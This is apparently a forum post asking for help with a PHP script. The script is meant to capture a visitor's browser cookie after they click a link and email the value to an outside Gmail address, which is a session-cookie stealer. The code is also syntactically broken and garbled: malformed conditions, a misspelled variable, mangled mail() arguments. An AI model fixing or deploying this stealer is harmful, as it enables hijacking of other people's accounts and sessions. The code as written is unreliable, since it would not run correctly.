need help, php code error

<?php
if
($cookie_name)  (isset ($_COOKIE))
(isset ($_COOKIE[$cookie_name]))
 
{$to="ex2@gmail.com";
$subject="chessus lives";
$message= "$cookie_name,  $_COOKIE [$cookie_name] " ;
$from="ex@gmail.com";
mail ($to,$scubject, $message [$from]);
}
 ?>

\*not working properly, want to retrieve cookie value,from web browser click on link and send it as e-mail*/